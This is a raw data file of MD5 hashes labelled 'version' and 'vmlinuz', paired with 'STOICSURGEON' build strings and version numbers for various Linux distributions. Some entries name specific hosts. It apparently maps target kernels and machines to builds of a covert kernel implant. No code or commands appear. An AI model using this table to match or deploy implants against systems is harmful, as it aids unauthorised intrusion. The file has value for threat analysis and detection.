49eefd1765cc2005753a1edef9b7d756 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 d2dfd3ee5ac2c19126a15cbba806bf1c vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 ee5a78b0e2d6c9bcafea573476073a9d version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 ac50043fbca77e7e90c0681c10aa805a vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 e6c3b3c7dc81065a896dafb181a83a84 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 5b3c9fbdbf4eef4ed2b9c90edeb0997e vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 d286e6fe30ad8a9fcba680b9e87dfcdc version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.7.1.17 794bb64d165c12fc10cde5a176e252f8 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri May 13 2011 +1.4.32.5 298b95b223196842cb6ea7c840b2016a version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 b177c5393bacc1b3abf7a4189c3e08fa vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 ef2b1d91d53d9411c6ac02ecb1fa52fc version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 e30a2df732e873c45d2d3d7c6f4cd9f2 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 dcb39030fef2cfe9d6157e8ba18ae9a8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 8760c5c6223a3139ea4d9c6521c4dfd5 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 49eefd1765cc2005753a1edef9b7d756 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 b671b5d93584bc0c6c3ab589acbc7b8d vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 37c2eb9f435ebbd823b7f99cf6d90ca8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 d300c24fdecd0f2549a3fb4d511f87c6 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 df3843517ebb7e4fbfaa96237e7579c2 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.4.32.5 a151c050eec619b6e929102918ebdcce vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Tue Mar 10 2009 +1.5.14.1 298b95b223196842cb6ea7c840b2016a version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 17368911f213231a28f9e1a0a1d9bfba vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 ef2b1d91d53d9411c6ac02ecb1fa52fc version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 72a694968cc7ac7932052dafc4a7bc38 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 dcb39030fef2cfe9d6157e8ba18ae9a8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 6fea67b8dd3040d921b3230f75a39132 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 1272c424cb7fa9d40da0a200c4211e47 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 d81520e7715f095f95aabca5e713c06e vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 373fa3d5f6a09e6302feeef3f66ef425 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 be119a530822c59f68569d1c0e7a9dd1 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 49eefd1765cc2005753a1edef9b7d756 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 d2dfd3ee5ac2c19126a15cbba806bf1c vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 37c2eb9f435ebbd823b7f99cf6d90ca8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 3988b612cf994255a1fc7aa3e9fdb0e3 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 df3843517ebb7e4fbfaa96237e7579c2 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 0eb19a004d3c189fc7198669a9658ac4 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 e27a73867db2a4e0f00d726a95689bee version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 c4da3ccb2c3d16bc23aedaca77c05e87 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 ee5a78b0e2d6c9bcafea573476073a9d version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 ac50043fbca77e7e90c0681c10aa805a vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 b8710c8d65f03275a3f87979901aa484 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.14.1 486bf3b8fd5872fb7b6c0a3400d61742 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 9 2009 +1.5.16.15 298b95b223196842cb6ea7c840b2016a version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 17368911f213231a28f9e1a0a1d9bfba vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 ef2b1d91d53d9411c6ac02ecb1fa52fc version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 72a694968cc7ac7932052dafc4a7bc38 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 dcb39030fef2cfe9d6157e8ba18ae9a8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 6fea67b8dd3040d921b3230f75a39132 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 1272c424cb7fa9d40da0a200c4211e47 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 d81520e7715f095f95aabca5e713c06e vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 373fa3d5f6a09e6302feeef3f66ef425 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 be119a530822c59f68569d1c0e7a9dd1 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 49eefd1765cc2005753a1edef9b7d756 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 d2dfd3ee5ac2c19126a15cbba806bf1c vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 37c2eb9f435ebbd823b7f99cf6d90ca8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 3988b612cf994255a1fc7aa3e9fdb0e3 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 df3843517ebb7e4fbfaa96237e7579c2 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 0eb19a004d3c189fc7198669a9658ac4 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 e27a73867db2a4e0f00d726a95689bee version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 c4da3ccb2c3d16bc23aedaca77c05e87 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 ee5a78b0e2d6c9bcafea573476073a9d version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 ac50043fbca77e7e90c0681c10aa805a vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 b8710c8d65f03275a3f87979901aa484 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.5.16.15 486bf3b8fd5872fb7b6c0a3400d61742 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.0 Fri Oct 30 2009 +1.4.35.3 3185d906e586ba9e72ac4d6422a46ce4 version STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 8140d727550bb21f1fa9a7f23ef2a9c9 vmlinuz STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 e5e49c94e562181409cb08437b9394a6 version STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 5008262684aa12ebb9799022ce1405cd vmlinuz STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 119583f03869027e2c59d78f21fd686c version STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 28e5fc4019483ffe6968eb66a11356a6 vmlinuz STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 32cc8d4fb432c0d3c310d429839ef615 version STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.4.35.3 66610f7530cc28efb99e267fac949b7f vmlinuz STOICSURGEON-X86_64-LINUX-COMPLEXPUZZLE-ARGOS.B.DE.KCCE.NET Tue May 19 2009 +1.5.1.3 f3b3b2d179c0dbf164bedb0bba0c3509 version STOICSURGEON-X86-LINUX-TILTTOP-GATE2 Fri Jun 12 2009 +1.5.1.3 c6f166f419daa7e07a1027eb1d29b9d5 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-GATE2 Fri Jun 12 2009 +1.5.1.3 455b703201c3d91f02895a853d501081 version STOICSURGEON-X86-LINUX-TILTTOP-GATE2 Fri Jun 12 2009 +1.5.1.3 f57083e4731798f051413ae91a8274e7 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-GATE2 Fri Jun 12 2009 +1.5.1.5 cce9f305025402ceebc4643a7bf2b07c version STOICSURGEON-X86-LINUX-WOLFACID_IQ-LUNASAT-QOS Fri Jun 12 2009 +1.5.1.5 e7b82ceb49bc6b41158c8325c5ae3a5e vmlinuz STOICSURGEON-X86-LINUX-WOLFACID_IQ-LUNASAT-QOS Fri Jun 12 2009 +1.5.1.1 9143fc12b9dc08f8a59ec50054c09702 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Fri Jun 12 2009 +1.5.1.1 1c340ea311fab45454d21269adc92249 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Fri Jun 12 2009 +1.5.1.1 f825a419528730c636dafbdeadcfde1a version STOICSURGEON-X86-LINUX-CENTOS-4.4 Fri Jun 12 2009 +1.5.1.1 0093dff46cb93c72cbeae84b5889cf54 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Fri Jun 12 2009 +1.5.1.1 6f93df6e220c93bcaa00a4f21298692c version STOICSURGEON-X86-LINUX-CENTOS-4.4 Fri Jun 12 2009 +1.5.1.1 ab0910963551d0312ce3a39dca73f534 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Fri Jun 12 2009 +1.6.10.2 9143fc12b9dc08f8a59ec50054c09702 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 1c340ea311fab45454d21269adc92249 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 f6545188093a87291f0c5fa1652a0d3b version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 14a0ab9bfc59975e82f6b239ada5b2ea vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 0e96d8135b91f9e246cd72eaa417c463 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 211d7373cd12c7940e3c3691373bce2a vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 8b0f8350011ea61d0a76dd233b055a64 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 dd92895b71152f1d6a3ee31a44a3e900 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 f825a419528730c636dafbdeadcfde1a version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 0093dff46cb93c72cbeae84b5889cf54 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 6a9f4ee61ecd5823a8e2bbc138e1c1bf version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 26a3ae9a6cd31407fdabc209968fcd7c vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 b1c256ba0b17aa01db9d872b4105147f version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 f1553b515596e65fa4f266d58cfa3c66 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 51e9369aebefe8e9188294512b7167b2 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 0e26c2ccd52e44e8d8af402431343b5d vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 6f93df6e220c93bcaa00a4f21298692c version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 ab0910963551d0312ce3a39dca73f534 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 04cb3b2d745626aaef0de2244372f247 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 96adb8836b69c52a2902725054068ba4 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 32c2b732e3418d86b1e2e74d972b4c4d version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 4e0761590b0ca8e72d62afeae39226fb vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 2e05996c74d1b5029f3f18cb6859c578 version STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.6.10.2 209e5247fe08c95c8101035b03b2aa65 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.4 Wed Nov 17 2010 +1.5.1.4 bbb767529dc1503af76109ca6b938fbf version STOICSURGEON-X86-LINUX-CHARMSHRILL-SERVER Fri Jun 12 2009 +1.5.1.4 b83bfd28d0373b650ff088a005e6f498 vmlinuz STOICSURGEON-X86-LINUX-CHARMSHRILL-SERVER Fri Jun 12 2009 +1.5.1.4 70306a0683e8e0f23cce990b6eb7b12d version STOICSURGEON-X86-LINUX-CHARMSHRILL-SERVER Fri Jun 12 2009 +1.5.1.4 471d82afe82c28fada3a09b6e5e28382 vmlinuz STOICSURGEON-X86-LINUX-CHARMSHRILL-SERVER Fri Jun 12 2009 +1.5.1.4 caf603ff37943cb5f549c04dbffbb0c9 version STOICSURGEON-X86-LINUX-CHARMSHRILL-SERVER Fri Jun 12 2009 +1.5.1.4 caa3acf25608a8b50e73b3e3219b709b vmlinuz STOICSURGEON-X86-LINUX-CHARMSHRILL-SERVER Fri Jun 12 2009 +1.5.1.10 da0593257d90267a9fe9a7efbdd50912 version STOICSURGEON-X86-LINUX-FATALTOUCH-SRV-UDPRF-2.UDPRF.RU Mon Jun 15 2009 +1.5.1.10 47610bff668067fea1cff9da58b11617 vmlinuz STOICSURGEON-X86-LINUX-FATALTOUCH-SRV-UDPRF-2.UDPRF.RU Mon Jun 15 2009 +1.5.4.1 9f779b80e477d472dba0bafef6796bb7 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 e26903d080e0d1df53862bb3beda7765 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 c90bdee15d37be10de9c3ea3dc821def version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 e63277b747fa2a88c8d7f709e0b62dad vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 8497f40bb44be42bea21674295a9ee16 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 85949a138e6cef44de34aaf22e1ecfc3 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 9bf48b23453115c377ec7384dffe3ed9 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 168405649e68790a0214e25cdb8a85b8 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 529f29348dd0101e03ae8d9da2a00a66 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.4.1 399c4e68e1e7411b419eaecf86a5709e vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Thu Jun 18 2009 +1.5.13.2 9f779b80e477d472dba0bafef6796bb7 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 e26903d080e0d1df53862bb3beda7765 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 c90bdee15d37be10de9c3ea3dc821def version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 e63277b747fa2a88c8d7f709e0b62dad vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 8497f40bb44be42bea21674295a9ee16 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 85949a138e6cef44de34aaf22e1ecfc3 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 9bf48b23453115c377ec7384dffe3ed9 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 f2e1904e582e457449833b9d44e49f04 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 529f29348dd0101e03ae8d9da2a00a66 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.13.2 90d7ccf8a8e9fd089c2b36686b96c77e vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Mon Oct 5 2009 +1.5.17.15 9f779b80e477d472dba0bafef6796bb7 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 e26903d080e0d1df53862bb3beda7765 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 c90bdee15d37be10de9c3ea3dc821def version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 e63277b747fa2a88c8d7f709e0b62dad vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 8497f40bb44be42bea21674295a9ee16 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 85949a138e6cef44de34aaf22e1ecfc3 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 9bf48b23453115c377ec7384dffe3ed9 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 f2e1904e582e457449833b9d44e49f04 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 529f29348dd0101e03ae8d9da2a00a66 version STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.17.15 90d7ccf8a8e9fd089c2b36686b96c77e vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-1.0 Fri Jan 8 2010 +1.5.8.1 fcfa31fc722b0e2f155f75958d789e82 version STOICSURGEON-X86-LINUX-ALT-2.4 Fri Jul 31 2009 +1.5.8.1 9e31bda281644d708f3419891d74d2ce vmlinuz STOICSURGEON-X86-LINUX-ALT-2.4 Fri Jul 31 2009 +1.5.8.1 66c14c7fd3c8952148b8888fa33fd3db version STOICSURGEON-X86-LINUX-ALT-2.4 Fri Jul 31 2009 +1.5.8.1 846a6f40dba3ff7c7aa6fc6d7a342f7c vmlinuz STOICSURGEON-X86-LINUX-ALT-2.4 Fri Jul 31 2009 +1.5.8.8 9de034a9b75619eb69cf3419114a0015 version STOICSURGEON-X86-LINUX-TODYTEAL-ROWDACO.com Tue Aug 4 2009 +1.5.8.8 59e20dd306a5beb9934d9c21396f94e0 vmlinuz STOICSURGEON-X86-LINUX-TODYTEAL-ROWDACO.com Tue Aug 4 2009 +1.5.8.8 f75835f359ef8f26a8f58c113ac7fdc0 version STOICSURGEON-X86-LINUX-TODYTEAL-ROWDACO.com Tue Aug 4 2009 +1.5.8.8 acf4af6fdd792830c782a47fa55fc771 vmlinuz STOICSURGEON-X86-LINUX-TODYTEAL-ROWDACO.com Tue Aug 4 2009 +1.5.8.8 a71048d6369a67956428d0b02d2c752d version STOICSURGEON-X86-LINUX-TODYTEAL-ROWDACO.com Tue Aug 4 2009 +1.5.8.8 ace38ee5fc28bbfb37aa5301bc0e90f0 vmlinuz STOICSURGEON-X86-LINUX-TODYTEAL-ROWDACO.com Tue Aug 4 2009 +1.5.8.2 99318362f01a29a153050a1d9831cf46 version STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 0f43eccea8f09e0a0b2b5cf1dcf333ba vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 5da6ce46c2a5f5e2872a6e35dfc9936b version STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 d159a158ffad3d25893a950ec6c513d3 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 42a7e6d3a9be515a250988cc5b162285 version STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 44a2f41d318743d0726c793028cbd5a0 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 811e94c27672c77de4367dfac3373afe version STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 f92be9cfc82d4b9c22c51d66cb76783f vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 c0790e2e74dab0883cfbc0c2c979cb03 version STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.2 0c5a837a4eece6762a00ea90a1a06544 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.2 Fri Jul 31 2009 +1.5.8.7 22c7b626e3442badba3f1ed1161a49e2 version STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 8d78dd37162e9cd7293a188e64d223d6 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 3d80d0faa9b1847e8bfcd78d2d48cd5f version STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 7e90f657aaa0f4256923b43e900d2351 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 b4ca20b7330ec2f46d784ec754ed8da5 version STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 784a13fa89652940c2fc32dc3bc01f76 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 e17a488f542e418badf65efc0e0d8e68 version STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.5.8.7 b209d5f8a0e5f1f5e86a5509241ff2b7 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-9.0 Fri Jul 31 2009 +1.4.31.7 3d566e36ac0692b33daedec746fd524e version STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 3e9c902fb9cd8657eb1f541eae6c613b vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 d9af16d83106dbe0a309d5b934b2715e version STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 c1b2ad0c47ecd9d7596c8f47b3f7c1c1 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 8da6d41c043d42057947757a13634a4e version STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 ed52f9bcd0dbee8586f0c87227c7b683 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 28900f2dbf7946bfdecfae8881630a51 version STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.4.31.7 bf22196c9109f36eaae376d100ae7403 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.6 Wed Feb 25 2009 +1.5.12.4 d64913a2cb7f28b7ac20289ff4e51fad version STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 35d40627fe4030978e45af9466af2b9d vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 6b7f44de71531b8fbd75f177094c5b7d version STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 8babee8e5c6926d5a0a1cc0edb7723e5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 e3cb0745f25aef5987156239e3611625 version STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 8d3babc2bb58fdee7dea5033bd0b5d0e vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 b3060767452934a732f2efe471ec7c5f version STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 9da0e219fc7e7844f477801eb35dfe53 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.3 Mon Sep 28 2009 +1.5.12.4 